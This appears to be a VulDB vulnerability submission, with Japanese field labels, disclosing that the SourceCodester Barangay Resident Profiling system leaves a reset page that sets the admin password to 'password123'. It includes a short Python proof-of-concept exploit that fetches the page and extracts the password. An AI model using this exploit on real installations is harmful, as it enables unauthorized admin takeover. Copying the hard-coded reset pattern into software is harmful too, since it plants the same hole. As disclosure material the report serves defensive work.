| タイトル | SourceCodester Barangay Resident Profiling and Information Management System (BRPMS) in PHP/MySQL 0 Unverified Password Change |
|---|
| 説明 | During the assessment of the "Barangay Resident Profiling and Information Management System (BRPMS) in PHP/MySQL". It was observed that the application developer has kept a hard reset password page at "passsword_reset.php". This allows any external user or threat actor to simply call the page and hard reset the password to 'password123'.
Thus, allowing any user/threat actor to gain access to the "admin" user with its default credentials. It is highly possible that when this application is used in the production by the users or any organization, they might miss to delete the page, as it will allow users/threat actors to abuse this functionality to gain unauthorized access to the admin user and make unauthorized changes.
This can be validated in "password_reset.php", on line 20.
$new_password = 'password123';
Python3 Exploit Code:
import re
import requests
url = "http://localhost/BRPMS_SANFABIAN/password_reset.php"
resp = requests.get(url, timeout=10)
if resp.status_code == 200:
match = re.search(r'Password:</strong>\s*<code>(.*?)</code>', resp.text, re.IGNORECASE)
if match:
print(match.group(1))
else:
print("Password field not found.")
else:
print("Request failed with status:", resp.status_code) |
|---|
| ユーザー | Kamran Saifullah (UID 4218) |
|---|
| 送信 | 2026年05月23日 20:50 (17 日 ago) |
|---|
| モデレーション | 2026年06月07日 17:53 (15 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 369135 [SourceCodester Barangay Resident Profiling and Information Management System Password Reset passsword_reset.php 弱い認証] |
|---|
| ポイント | 17 |
|---|